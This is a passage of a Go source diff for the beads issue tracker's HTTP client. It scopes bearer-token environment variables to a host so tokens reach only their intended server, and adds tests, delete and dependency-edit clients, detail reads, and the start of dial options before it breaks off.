NAME of an environment variable, not a credential. TokenCommandEnv = "BEADS_HTTP_TOKEN_COMMAND" ) @@ -42,6 +44,12 @@ const ( // the tip OSS server's loopback-trust posture and a legitimate answer, not a // failure. // +// Every rung is scoped to the server it authorizes against: the credentials +// file by its section key, the two env rungs by the host pattern their value +// carries. The server comes from the workspace's http_target.json, which a +// cloned repo can supply, so an unscoped rung would hand an operator's token to +// whatever server that file names. +// // The ladder fails closed. A rung the operator configured that then errors // aborts the request; it never falls through to a lower rung, because the // difference between a broken token command and an unauthenticated request is @@ -50,8 +58,10 @@ const ( // The resolved token is held in memory for the life of the provider and is // never logged: the only place it appears is the Authorization header. type BearerProvider struct { - // endpoint is the server this provider authorizes against, rendered for the - // posture warning only. host/port key the credentials-file rung. + // base is the server this provider authorizes against; the env rungs match + // their host pattern against it. endpoint renders it for the posture warning + // only. host/port key the credentials-file rung. + base *url.URL endpoint string host string port int @@ -75,7 +85,8 @@ func NewBearerProvider(base *url.URL) *BearerProvider { if base == nil { return p } - p.endpoint = base.Redacted() + p.base = base + p.endpoint = withoutUserinfo(base).String() p.host = base.Hostname() p.port = endpointPort(base) p.insecure = base.Scheme == "http" && !configfile.IsLocalHostString(p.host) @@ -182,8 +193,8 @@ func (p *BearerProvider) Source() string { // both when the ladder is unconfigured). func (p *BearerProvider) resolve(ctx context.Context) (token, source string, err error) { cred, ok, err := creds.ResolveLadder(ctx, - envTokenSource{Var: TokenEnv}, - commandTokenSource{Var: TokenCommandEnv}, + envTokenSource{Var: TokenEnv, Base: p.base}, + commandTokenSource{Var: TokenCommandEnv, Base: p.base}, credentialsFileTokenSource{Host: p.host, Port: p.port}, ) if err != nil { @@ -211,37 +222,100 @@ func (p *BearerProvider) warnInsecure() { // envTokenSource is the token-in-the-environment rung. The value is read at // resolution time rather than at construction, so Refresh sees a token the // process was handed after this provider was built. -type envTokenSource struct{ Var string } +type envTokenSource struct { + Var string + Base *url.URL +} func (s envTokenSource) Name() string { return s.Var } func (s envTokenSource) Resolve(context.Context) (creds.Credential, bool, error) { - value := strings.TrimSpace(os.Getenv(s.Var)) - if value == "" { - return creds.Credential{}, false, nil + value, ok, err := scopedEnvValue(s.Var, "token", s.Base) + if err != nil || !ok { + return creds.Credential{}, false, err } return creds.Credential{Value: value, Kind: creds.KindIdentity, Source: s.Var}, true, nil } // commandTokenSource runs an operator-named helper and reads a token from its // stdout — the credential-process idiom bd already uses for database passwords. +// A helper scoped to another server is not run at all. // // The helper owns its own error text: internal/creds folds the helper's stderr // into the failure, exactly as it does on the postgres ladder, so a helper must // keep secrets off stderr the way `bd __gw-credential` does with its canned // messages. -type commandTokenSource struct{ Var string } +type commandTokenSource struct { + Var string + Base *url.URL +} func (s commandTokenSource) Name() string { return s.Var } func (s commandTokenSource) Resolve(ctx context.Context) (creds.Credential, bool, error) { - command := strings.TrimSpace(os.Getenv(s.Var)) - if command == "" { - return creds.Credential{}, false, nil + command, ok, err := scopedEnvValue(s.Var, "command", s.Base) + if err != nil || !ok { + return creds.Credential{}, false, err } return creds.CommandSource{Command: command, Kind: creds.KindIdentity, Label: s.Var}.Resolve(ctx) } +// scopedEnvValue reads one of the env rungs, which take CAFileEnv's host-scoped +// syntax, "host[:port]=value", and match it with the same caHostMatches: a +// pattern with no port names the host on any port, one with a port names that +// host:port alone. It returns the value only when the pattern names base. An +// unset variable is not configured; so is a well-formed one scoped to another +// server, which falls through to the next rung exactly as CAFileEnv falls +// through to the sidecar. A malformed value — the bare form included — is an +// error, so the ladder fails closed on it rather than falling through. A bare +// token that contains "=" can still parse as a pattern naming no real server; +// that fails safe, since the token then goes nowhere. +func scopedEnvValue(name, what string, base *url.URL) (string, bool, error) { + raw := strings.TrimSpace(os.Getenv(name)) + if raw == "" { + return "", false, nil + } + pattern, value, err := parseScopedEnv(raw, what) + if err != nil { + return "", false, err + } + matches, err := caHostMatches(pattern, Target{BaseURL: base}) + if err != nil { + // The pattern parsed above, so what failed is the target's own host, + // which carries no secret. + return "", false, err + } + if !matches { + return "", false, nil + } + return value, true, nil +} + +// parseScopedEnv splits a host-scoped env value on its FIRST "=": a host +// pattern never contains one, and a token (base64 padding) or a command (a +// --flag=value) may. Nothing from raw is echoed into an error. The value is a +// credential, and a bare token that happens to contain "=" would put part of +// itself in the pattern half. +func parseScopedEnv(raw, what string) (hostPattern, value string, err error) { + want := fmt.Sprintf("want host[:port]=%s, e.g. serve.example.com=<%s> or serve.example.com:8443=<%s> (the value is not echoed)", what, what, what) + eq := strings.Index(raw, "=") + if eq < 0 { + return "", "", fmt.Errorf("an unscoped %s would be used for whatever server the workspace's %s names; %s", what, TargetFileName, want) + } + hostPattern = strings.TrimSpace(raw[:eq]) + value = strings.TrimSpace(raw[eq+1:]) + if hostPattern == "" || value == "" { + return "", "", fmt.Errorf("nothing on one side of the first \"=\"; %s", want) + } + if strings.HasSuffix(hostPattern, ":") { + return "", "", fmt.Errorf("the host pattern ends with \":\" and no port; %s", want) + } + if _, _, splitErr := splitCAHostPort(hostPattern, ""); splitErr != nil { + return "", "", fmt.Errorf("the text before the first \"=\" is not a host[:port]; %s", want) + } + return hostPattern, value, nil +} + // credentialsFileTokenSource reads the bearer from the shared credentials file's // [host:port] section, under the same `password` key every other endpoint uses // there. It is the lowest configured rung and, like the postgres ladder's copy, diff --git a/internal/httpclient/credential_source_test.go b/internal/httpclient/credential_source_test.go index 52619bd3d..20b6977b9 100644 --- a/internal/httpclient/credential_source_test.go +++ b/internal/httpclient/credential_source_test.go @@ -32,7 +32,7 @@ func resolveProvider(t *testing.T, p *BearerProvider) { } func TestSourceNamesTheEnvRung(t *testing.T) { - t.Setenv(TokenEnv, "tok-env") + t.Setenv(TokenEnv, "127.0.0.1=tok-env") p := NewBearerProvider(mustURL(t, "http://127.0.0.1:8080")) resolveProvider(t, p) if got := p.Source(); got != TokenEnv { @@ -43,7 +43,7 @@ func TestSourceNamesTheEnvRung(t *testing.T) { func TestSourceNamesTheTokenCommandRung(t *testing.T) { // The env rung must be empty so the ladder falls to the command rung. t.Setenv(TokenEnv, "") - t.Setenv(TokenCommandEnv, "printf tok-cmd") + t.Setenv(TokenCommandEnv, "127.0.0.1=printf tok-cmd") p := NewBearerProvider(mustURL(t, "http://127.0.0.1:8080")) resolveProvider(t, p) if got := p.Source(); got != TokenCommandEnv { diff --git a/internal/httpclient/credential_test.go b/internal/httpclient/credential_test.go index 1e8aa0776..4353f4f8e 100644 --- a/internal/httpclient/credential_test.go +++ b/internal/httpclient/credential_test.go @@ -13,6 +13,7 @@ import ( "os" "path/filepath" "strings" + "sync" "testing" "github.com/steveyegge/beads/internal/httpapi/apigen" @@ -82,7 +83,7 @@ func TestCredentialLadderPrecedence(t *testing.T) { t.Run("env is the top rung", func(t *testing.T) { clearCredentialEnvironment(t) writeCredentialsFile(t, "127.0.0.1", 8080, "from-file", 0o600) - t.Setenv(TokenEnv, "from-env") + t.Setenv(TokenEnv, "127.0.0.1=from-env") if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer from-env" { t.Errorf("Authorization = %q, want the env rung", got) } @@ -121,7 +122,7 @@ func TestCredentialLadderPrecedence(t *testing.T) { func TestCredentialLadderFailsClosed(t *testing.T) { clearCredentialEnvironment(t) writeCredentialsFile(t, "127.0.0.1", 8080, "lower-rung", 0o600) - t.Setenv(TokenCommandEnv, "exit 7") + t.Setenv(TokenCommandEnv, "127.0.0.1=exit 7") p := NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")) req, err := http.NewRequest(http.MethodGet, "http://127.0.0.1:8080/v0/beads/context", nil) @@ -140,6 +141,108 @@ func TestCredentialLadderFailsClosed(t *testing.T) { } } +// TestTokenEnvRungsAreHostScoped keeps an operator's token on the server it was +// issued for. The server a provider authorizes against comes from the +// workspace's http_target.json, which a cloned repo can supply, so a token +// scoped to one server must never reach another, and a token command scoped +// elsewhere must not even run. +func TestTokenEnvRungsAreHostScoped(t *testing.T) { + base := mustParseURL(t, "http://127.0.0.1:8080") + + t.Run("a token scoped to another host is not sent", func(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "serve.example.com=not-for-you") + if got := authorizeWith(t, NewBearerProvider(base)); got != "" { + t.Errorf("Authorization = %q, want no header: the token names another server", got) + } + }) + + t.Run("a token scoped to another host falls through to the lower rungs", func(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "127.0.0.1", 8080, "from-file", 0o600) + t.Setenv(TokenEnv, "serve.example.com=not-for-you") + if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer from-file" { + t.Errorf("Authorization = %q, want the credentials-file rung", got) + } + }) + + t.Run("a token command scoped to another host is not run", func(t *testing.T) { + clearCredentialEnvironment(t) + // Run, `exit 7` would fail the ladder closed and Authorize with it. + t.Setenv(TokenCommandEnv, "serve.example.com=exit 7") + if got := authorizeWith(t, NewBearerProvider(base)); got != "" { + t.Errorf("Authorization = %q, want no header", got) + } + }) + + t.Run("a pattern with a port names that port alone", func(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "127.0.0.1:9999=wrong-port") + if got := authorizeWith(t, NewBearerProvider(base)); got != "" { + t.Errorf("Authorization = %q, want no header: the pattern names another port", got) + } + t.Setenv(TokenEnv, "127.0.0.1:8080=right-port") + if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer right-port" { + t.Errorf("Authorization = %q, want the port-scoped token", got) + } + }) + + t.Run("host case and an https default port normalize", func(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "Beads.Example.com:443=tls-token") + if got := authorizeWith(t, NewBearerProvider(mustParseURL(t, "https://beads.example.com/"))); got != "Bearer tls-token" { + t.Errorf("Authorization = %q, want the token", got) + } + }) + + t.Run("the split is on the first =", func(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "127.0.0.1=padded==") + if got := authorizeWith(t, NewBearerProvider(base)); got != "Bearer padded==" { + t.Errorf("Authorization = %q, want the token with its padding", got) + } + }) +} + +// TestMalformedTokenEnvIsRefusedWithoutEchoingIt: an unscoped value, the form +// these rungs took before they were scoped, is refused rather than applied to +// whatever server the workspace names, and so is any other value that does not +// parse. The refusal names the variable but no part of its value, since the +// value is the credential. +func TestMalformedTokenEnvIsRefusedWithoutEchoingIt(t *testing.T) { + for _, tc := range []struct{ name, env, value string }{ + {"a bare token", TokenEnv, "bare-s3cr3t"}, + {"a bare token whose padding splits it", TokenEnv, "s3cr3t+b64/x=="}, + {"a bare token command", TokenCommandEnv, "printf s3cr3t"}, + {"nothing after the =", TokenEnv, "127.0.0.1="}, + {"a port-less colon", TokenEnv, "127.0.0.1:=s3cr3t"}, + } { + t.Run(tc.name, func(t *testing.T) { + clearCredentialEnvironment(t) + writeCredentialsFile(t, "127.0.0.1", 8080, "lower-rung", 0o600) + t.Setenv(tc.env, tc.value) + + req, err := http.NewRequest(http.MethodGet, "http://127.0.0.1:8080/v0/beads/context", nil) + if err != nil { + t.Fatalf("new request: %v", err) + } + err = NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")).Authorize(context.Background(), req) + if err == nil { + t.Fatal("Authorize = nil; a malformed token variable must abort the request") + } + if !strings.Contains(err.Error(), tc.env) { + t.Errorf("error %q does not name the variable", err) + } + if strings.Contains(err.Error(), "s3cr3t") { + t.Fatalf("the refusal echoed the value: %v", err) + } + if req.Header.Get("Authorization") != "" { + t.Error("a refused ladder still set an Authorization header") + } + }) + } +} + // TestRefreshRereadsTheCredentialSource is the client half of the server's // rotation contract. The server re-reads its token file on a ~1s gate, so a // rolled client 401s once and succeeds on the retry — but only if Refresh @@ -199,7 +302,7 @@ func TestRefreshRereadsTheCredentialSource(t *testing.T) { // it names the server, never the token. func TestPlainHTTPBearerWarnsOnceAndLeaksNothing(t *testing.T) { clearCredentialEnvironment(t) - t.Setenv(TokenEnv, "s3cr3t-token") + t.Setenv(TokenEnv, "beads.example.com=s3cr3t-token") var sink strings.Builder p := NewBearerProvider(mustParseURL(t, "http://beads.example.com:8080")) @@ -223,9 +326,30 @@ func TestPlainHTTPBearerWarnsOnceAndLeaksNothing(t *testing.T) { } } +// TestPlainHTTPWarningDropsUserinfo: the warning names the server, and a url +// handed in with userinfo must not bring it along — the username included, +// which url.URL.Redacted would keep and which a token sometimes rides as. +func TestPlainHTTPWarningDropsUserinfo(t *testing.T) { + clearCredentialEnvironment(t) + t.Setenv(TokenEnv, "beads.example.com=bearer-token") + + var sink strings.Builder + p := NewBearerProvider(mustParseURL(t, "http://tok3n:pa55@beads.example.com:8080")) + p.warnTo = &sink + authorizeWith(t, p) + + warning := sink.String() + if !strings.Contains(warning, "http://beads.example.com:8080") { + t.Errorf("warning does not name the server:\n%s", warning) + } + if strings.Contains(warning, "tok3n") || strings.Contains(warning, "pa55") { + t.Fatalf("the warning printed the url's userinfo:\n%s", warning) + } +} + func TestLoopbackBearerDoesNotWarn(t *testing.T) { clearCredentialEnvironment(t) - t.Setenv(TokenEnv, "local-token") + t.Setenv(TokenEnv, "127.0.0.1=local-token") var sink strings.Builder p := NewBearerProvider(mustParseURL(t, "http://127.0.0.1:8080")) @@ -292,13 +416,19 @@ type contextServer struct { // test lands the rewrite in the one place it happens in production: between // the refused attempt and the client's re-read. onUnauthorized func() - seen []string + // seenMu guards seen: a burst test drives this handler from several + // server goroutines at once. Readers look at seen only after their + // requests have returned. + seenMu sync.Mutex + seen []string } func (s *contextServer) start(t *testing.T) *httptest.Server { t.Helper() srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + s.seenMu.Lock() s.seen = append(s.seen, r.Header.Get("Authorization")) + s.seenMu.Unlock() if s.require != "" && r.Header.Get("Authorization") != "Bearer "+s.require { w.Header().Set("WWW-Authenticate", "Bearer") w.Header().Set("Content-Type", "application/problem+json") diff --git a/internal/httpclient/deleter.go b/internal/httpclient/deleter.go new file mode 100644 index 000000000..233e8528e --- /dev/null +++ b/internal/httpclient/deleter.go @@ -0,0 +1,125 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/deleter.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// maxDeleteIDs mirrors the wire's own bound (internal/httpapi's delete.go, and +// the document's maxItems). It is checked HERE as well as there for +// maxAddDependencyEdges' reason, which is sharper on this operation: the whole +// delete is ONE transaction with at most one history entry, so a client that +// split a long id list into two requests would turn one all-or-nothing erasure +// into two — and the dependents guard, which can only see the ids of the request +// in front of it, would refuse a pair the caller had deliberately listed +// together. Refusing names the bound; chunking would quietly change the +// semantics. +const maxDeleteIDs = 1000 + +// httpDeleter serves issueops.Deleter from the deleteIssues custom method +// (design D8 row 13) — the capability behind `bd delete`. +// +// The REQUEST maps WHOLE, ExpectedVersion included: deleteIssues publishes the +// compare-and-delete precondition and this client sends it, absent staying +// absent so an unguarded delete stays unguarded. +// +// What else diverges is the REFUSAL VOCABULARY, in two places, and both are +// ledgered rather than papered over: +// +// - an id naming no row arrives as issueops.ErrNotFound without the +// *NotFoundError that names WHICH ids (L-delete-notfound); +// - the unforced dependents guard arrives as issueops.ErrValidation rather +// than *DependentsOutsideRequestError (L-delete-dependents). +// +// Both still FAIL the request and still delete nothing — the outcome is the +// contract's, only the classification is coarser — and both retire the day the +// wire grows a distinguishing code and the extension members to rebuild them +// from. `bd delete` still names the ids it could not resolve, because the +// server's own role does and the CLI is talking to the person who typed them. +type httpDeleter struct { + store *Store + wire WriteWire +} + +var _ issueops.Deleter = (*httpDeleter)(nil) + +// Delete dials POST /v0/beads/issues:delete. +// +// The ids are sent VERBATIM — not trimmed, not deduplicated, not sorted. The +// role promises the caller's slice is read and never written through, and the +// SERVER's role performs exactly the same normalization a local one would, so +// doing it again here would be a second implementation of a rule that already +// has one, on the operation where a disagreement about which ids were named +// deletes the wrong rows. +func (d *httpDeleter) Delete(ctx context.Context, req issueops.DeleteRequest) (result issueops.DeleteResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = d.store.inexpressible("Deleter.Delete", err) }() + if err := checkDeleteIDs(req.IDs); err != nil { + return issueops.DeleteResult{}, err + } + // The guard is sent as the caller spelled it and the ARITY rule that comes + // with it is left to the server. The wire refuses a guard beside more than + // one DISTINCT id, and distinctness there is measured after trimming and + // collapsing duplicates — the same normalization this method sends its ids + // verbatim to avoid owning a second copy of. + body := apigen.DeleteIssuesRequest{ + Ids: append([]string(nil), req.IDs...), + Cascade: &req.Cascade, + Force: &req.Force, + DryRun: &req.DryRun, + ExpectedVersion: revisionGuard(req.ExpectedVersion), + } + if strings.TrimSpace(req.Actor) != "" { + // Omitted rather than sent blank, for SweepRequest.Actor's reason: the + // role accepts an empty Actor and the server refuses one that is empty + // after trimming. + body.Actor = &req.Actor + } + + res, err := d.wire.DeleteIssues(ctx, body) + if err != nil { + return issueops.DeleteResult{}, err + } + out := issueops.DeleteResult{ + DryRun: res.DryRun, + Deleted: res.Deleted, + Dependencies: res.Dependencies, + Labels: res.Labels, + Events: res.Events, + ReferencesUpdated: res.ReferencesUpdated, + } + if res.Orphaned != nil { + out.Orphaned = append([]string(nil), *res.Orphaned...) + } + return out, nil +} + +// checkDeleteIDs applies the request-intrinsic refusals before the dial. +// +// Every one of them is decidable from the request alone and every one is a +// refusal the role's own contract states, so they must not cost a round trip to +// a shared server — and the empty case must not be answered as a cheerful +// "deleted 0", which is how a caller whose id list came out empty learns +// nothing at all. +func checkDeleteIDs(ids []string) error { + if len(ids) == 0 { + return invalid("a delete names no beads") + } + for i, id := range ids { + if strings.TrimSpace(id) == "" { + return invalid("ids[%d] is blank", i) + } + } + if len(ids) > maxDeleteIDs { + return refuse(encode.OpDeleteIssues, "L-delete-bound") + } + return nil +} diff --git a/internal/httpclient/dependencyeditor.go b/internal/httpclient/dependencyeditor.go new file mode 100644 index 000000000..a94a38d89 --- /dev/null +++ b/internal/httpclient/dependencyeditor.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dependencyeditor.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "fmt" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/issueops" +) + +// maxAddDependencyEdges mirrors the wire's own bound (internal/httpapi's +// dependency_edit.go). It is checked HERE as well as there so the refusal names +// the bound instead of arriving as a 400 the user has to decode — and, more +// importantly, so nothing is ever tempted to chunk a larger request: chunking is +// the one path that silently breaks the request's one-transaction, +// one-history-entry contract (L16). +const maxAddDependencyEdges = 100 + +// httpDependencyEditor serves issueops.DependencyEditor from the two dependency +// custom methods (design D8 row 18). +// +// The role's whole difficulty is its refusal vocabulary, and the wave that +// landed these operations published the typed discriminators this client asked +// for: dependency_cycle carries issue_id/blocker_id/blocker_is_ancestor, so +// *DependencyHierarchyConflictError reconstructs in BOTH polarities with no +// prose parsing, and dependency_exists carries existing_type/requested_type. The +// mapping lives in the wire's problem table; what lives here is the request +// half and the members the wire cannot carry. +type httpDependencyEditor struct { + store *Store + wire WriteWire +} + +var _ issueops.DependencyEditor = (*httpDependencyEditor)(nil) + +// AddDependencies asserts a set of edges as one server-side transaction. +// +// Atomicity is the SERVER's and stays whole because the request does: the +// operation is all-or-nothing, so a client that split a graph across two +// requests would turn one atomic assertion into two and let a cycle gate that +// can only see one request at a time pass a graph that closes a loop across +// both. Hence the bound below refuses rather than chunks. +func (d *httpDependencyEditor) AddDependencies(ctx context.Context, req issueops.AddDependenciesRequest) (result issueops.AddDependenciesResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError into + // *InexpressibleError so errors.As(err, &unsupported) reaches + // *storage.ErrUnsupported, same as inexpressible does for a read role. + defer func() { err = d.store.inexpressible("DependencyEditor.AddDependencies", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.AddDependenciesResult{}, err + } + if len(req.Edges) == 0 { + return issueops.AddDependenciesResult{}, invalid("a dependency add names no edges") + } + if req.SkipPerEdgeCycleCheck { + return issueops.AddDependenciesResult{}, refuse(encode.OpAddDependencies, "W-AddDependenciesRequest.SkipPerEdgeCycleCheck") + } + if len(req.Edges) > maxAddDependencyEdges { + return issueops.AddDependenciesResult{}, refuse(encode.OpAddDependencies, "L16") + } + + edges := make([]apigen.DependencyEdge, 0, len(req.Edges)) + for i, edge := range req.Edges { + if err := checkEdge(i, edge); err != nil { + return issueops.AddDependenciesResult{}, err + } + edges = append(edges, apigen.DependencyEdge{ + IssueId: edge.IssueID, + DependsOnId: edge.DependsOnID, + Type: string(edge.Type), + }) + } + + res, err := d.wire.AddDependencies(ctx, apigen.AddDependenciesRequest{Actor: req.Actor, Edges: edges}) + if err != nil { + return issueops.AddDependenciesResult{}, err + } + + // The response echoes the request in request order, because all-or-nothing + // means it is either every edge or the call failed. Reading it back rather + // than re-echoing the request is what would catch a server that ever + // answered something else. + added := make([]issueops.DependencyEdge, 0, len(res.Added)) + for _, edge := range res.Added { + added = append(added, issueops.DependencyEdge{ + IssueID: edge.IssueId, + DependsOnID: edge.DependsOnId, + Type: issueops.DependencyType(edge.Type), + }) + } + return issueops.AddDependenciesResult{Added: added}, nil +} + +// RemoveDependency removes exactly the named edge. A missing edge is Removed +// false with a nil error — a success, not a refusal, and the wire says the same. +func (d *httpDependencyEditor) RemoveDependency(ctx context.Context, req issueops.RemoveDependencyRequest) (issueops.RemoveDependencyResult, error) { + if err := requireActor(req.Actor); err != nil { + return issueops.RemoveDependencyResult{}, err + } + if err := requireID("issue id", req.IssueID); err != nil { + return issueops.RemoveDependencyResult{}, err + } + if err := requireID("depends-on id", req.DependsOnID); err != nil { + return issueops.RemoveDependencyResult{}, err + } + + res, err := d.wire.RemoveDependency(ctx, apigen.RemoveDependencyRequest{ + Actor: req.Actor, + IssueId: req.IssueID, + DependsOnId: req.DependsOnID, + }) + if err != nil { + return issueops.RemoveDependencyResult{}, err + } + return issueops.RemoveDependencyResult{Removed: res.Removed}, nil +} + +// checkEdge applies the request-intrinsic refusals before the dial. +// +// The self-dependency check is the one worth naming: the server refuses it too, +// but as a 400 that reaches a client as ErrValidation, while the role's contract +// promises ErrSelfDependency — and that sentinel is one the caller can act on. +// It is decidable from the request alone, so deciding it here loses nothing and +// keeps the vocabulary the role documents. +func checkEdge(i int, edge issueops.DependencyEdge) error { + switch { + case edge.IssueID == "": + return invalid("edges[%d].issue_id is required", i) + case edge.DependsOnID == "": + return invalid("edges[%d].depends_on_id is required", i) + case edge.Type == "": + return invalid("edges[%d].type is required", i) + case edge.IssueID == edge.DependsOnID: + return fmt.Errorf("%s: %w", edge.IssueID, issueops.ErrSelfDependency) + } + return nil +} diff --git a/internal/httpclient/detail_reads.go b/internal/httpclient/detail_reads.go new file mode 100644 index 000000000..56991f801 --- /dev/null +++ b/internal/httpclient/detail_reads.go @@ -0,0 +1,139 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/detail_reads.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/http" + "net/url" + + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The four off-role detail reads that ride getIssue, each beside the surface it +// belongs to now that its operation is on the synced wire (design D8, the flip +// mechanics offrole.go's header states). They moved OUT of offrole.go the way +// resolve.go and bridge.go's reads did: a served method sits with its surface, +// and what stays in offrole.go is the tombstone. +// +// All four are the `bd show` text path's off-role reads. getIssue carries the +// labels and the default dependencies without a parameter; the dependents and +// comments arms travel through include_dependents and include_comments (D4; L4 +// retired). Each answers the same value the local method does, so a caller +// reading `issue.Labels`, the dependency list, the dependents or the comment +// thread cannot tell the two apart. +// +// A MISS IS (nil, nil), NOT AN ERROR, for every one of them, and it is the raw +// method's own contract: getIssue answers a nonexistent id with a 404 that the +// wire maps to issueops.ErrNotFound, and the local reads answer a nonexistent id +// with an empty result and a nil error (dolt/labels.go, dolt/dependencies.go, +// dolt/events.go). Reporting the miss as an error would print the transport's +// vocabulary where the local answer is silence. + +// getIssueDetails is the shared dial behind the three include-bearing reads: GET +// the issue-detail path with the caller's query and decode types.IssueDetails, +// exactly as bridge.go's GetIssue does. A 404 is (nil, nil) rather than an +// error, so each read maps its own empty answer onto it. +func (s *Store) getIssueDetails(ctx context.Context, id string, query url.Values) (*types.IssueDetails, error) { + if id == "" { + return nil, nil + } + path, err := wire.IssuePath(id) + if err != nil { + return nil, err + } + var details types.IssueDetails + err = s.dispatch(ctx, wire.Request{ + Op: wire.OpGetIssue, + Method: http.MethodGet, + Path: path, + Query: query, + IssueID: id, + }, &details) + if errors.Is(err, issueops.ErrNotFound) { + return nil, nil + } + if err != nil { + return nil, err + } + return &details, nil +} + +// GetLabels serves getIssue's label list; `bd show`'s text path discards its +// error today (D4). +// +// It delegates to the raw GetIssue probe rather than re-dialing, because that +// probe already performs the lift the detail view needs — the labels arrive in a +// field of the envelope's OWN rather than on the embedded issue, and GetIssue +// hoists them onto issue.Labels so the two backends answer the same value. A +// second dial here would be a second copy of that correction. +func (s *Store) GetLabels(ctx context.Context, id string) ([]string, error) { + issue, err := s.GetIssue(ctx, id) + if err != nil || issue == nil { + return nil, err + } + return issue.Labels, nil +} + +// GetDependenciesWithMetadata answers getIssue's default-carried dependency +// list. No parameter asks for it — dependencies ride every detail read, and +// brief_deps defaults false so the rows arrive whole. +func (s *Store) GetDependenciesWithMetadata(ctx context.Context, id string) ([]*types.IssueWithDependencyMetadata, error) { + details, err := s.getIssueDetails(ctx, id, url.Values{}) + if err != nil || details == nil { + return nil, err + } + return details.Dependencies, nil +} + +// GetDependentsWithMetadata answers getIssue's dependents arm, which is carried +// only when asked: include_dependents is the parameter D4 landed for it. +// +// The rows come back in the collectDependents SHALLOW projection (be-4d36f2: +// id, status, type, priority, title and the edge type only), because a hub bead +// with thousands of dependents would otherwise marshal gigabytes. That is the +// field set `bd show`'s dependents section and its reader-accessor JSON consume, +// so those paths are full-parity — but a caller reading any field OUTSIDE it +// over http reads a zero. `bd show --thread/--refs/--children` are exactly such +// callers (the message thread reads a reply's sender/recipient/body/timestamp, +// --refs/--children --json marshal the row whole), so they refuse against an +// http workspace rather than render a silently gutted answer (the show entry in +// enterprise_http_refusal.go carries the flag refusals and the citation). A +// full-dependent wire shape would retire those refusals and is a server-side ask. +func (s *Store) GetDependentsWithMetadata(ctx context.Context, id string) ([]*types.IssueWithDependencyMetadata, error) { + q := url.Values{} + q.Set("include_dependents", "true") + details, err := s.getIssueDetails(ctx, id, q) + if err != nil || details == nil { + return nil, err + } + return details.Dependents, nil +} + +// GetIssueComments answers getIssue's comment thread, carried only when +// include_comments asks for it. +// +// comments_omitted MUST be absent or false on the answer, and this checks it: +// the server sets that marker only in count-only mode, where a positive +// CommentCount sits beside a nil Comments (ga-clgh). A caller that read those nil +// Comments as an empty thread would mistake a withheld read for "no comments" — +// the exact confusion the marker exists to prevent — so a truthy marker beside a +// request that explicitly asked for the bodies is a server answering a different +// question, and it fails loudly rather than returning a silent empty. +func (s *Store) GetIssueComments(ctx context.Context, id string) ([]*types.Comment, error) { + q := url.Values{} + q.Set("include_comments", "true") + details, err := s.getIssueDetails(ctx, id, q) + if err != nil || details == nil { + return nil, err + } + if details.CommentsOmitted != nil && *details.CommentsOmitted { + return nil, fmt.Errorf("bd serve withheld the comment thread for %q despite include_comments: "+ + "comments_omitted is set, which the operation reserves for count-only mode", id) + } + return details.Comments, nil +} diff --git a/internal/httpclient/dial.go b/internal/httpclient/dial.go new file mode 100644 index 000000000..f314dcbc7 --- /dev/null +++ b/internal/httpclient/dial.go @@ -0,0 +1,322 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/dial.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "net/http" + "strings" + "sync" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" +) + +// WireUserAgentSuffix identifies the backend inside a stamped User-Agent, so a +// server log line says both which binary and which client spoke to it. +const WireUserAgentSuffix = wire.DefaultUserAgent + +// DialOptions tunes the production transport. +type DialOptions struct { + // UserAgent identifies the build. wire's own default names the backend only, + // because the version stamp lives in package main and nothing under this + // tree may import it; the activation layer passes the stamped one down. + UserAgent string + // HTTPClient replaces the transport. Tests use it to reach an httptest + // server or to inject a round tripper; production leaves it nil. + // + // Leaving this nil is what lets DialWith apply a target's CA trust + // (BEADS_HTTP_CA_FILE, or the sidecar's ca_file) automatically, and raise + // MaxIdleConnsPerHost even when no CA is configured — see TransportFor and + // baselineTransport. + // + // A caller that supplies an HTTPClient whose Transport is nil is not + // silently skipped: DialWith injects the resolved CA transport (if any) + // on a COPY of that client, leaving the caller's own *http.Client + // untouched, exactly as if HTTPClient had been left nil except that the + // other fields (Timeout, CheckRedirect, Jar) are the caller's. + // + // A caller that supplies an HTTPClient with a NON-NIL Transport has taken + // the transport over completely. If the target has no CA configured, it + // is used verbatim — DialWith has nothing to add. If the target DOES have + // a CA configured, DialWith refuses rather than silently using a + // transport that may not trust it: the caller must either leave + // Transport nil (and let DialWith inject), or compose TransportFor(target) + // (or TransportForFile, for the embedder door) into its own Transport + // itself before calling. + HTTPClient *http.Client + + // caOverride, when non-nil, replaces resolveCAFile's own env/sidecar + // resolution entirely: DialWith uses *caOverride verbatim 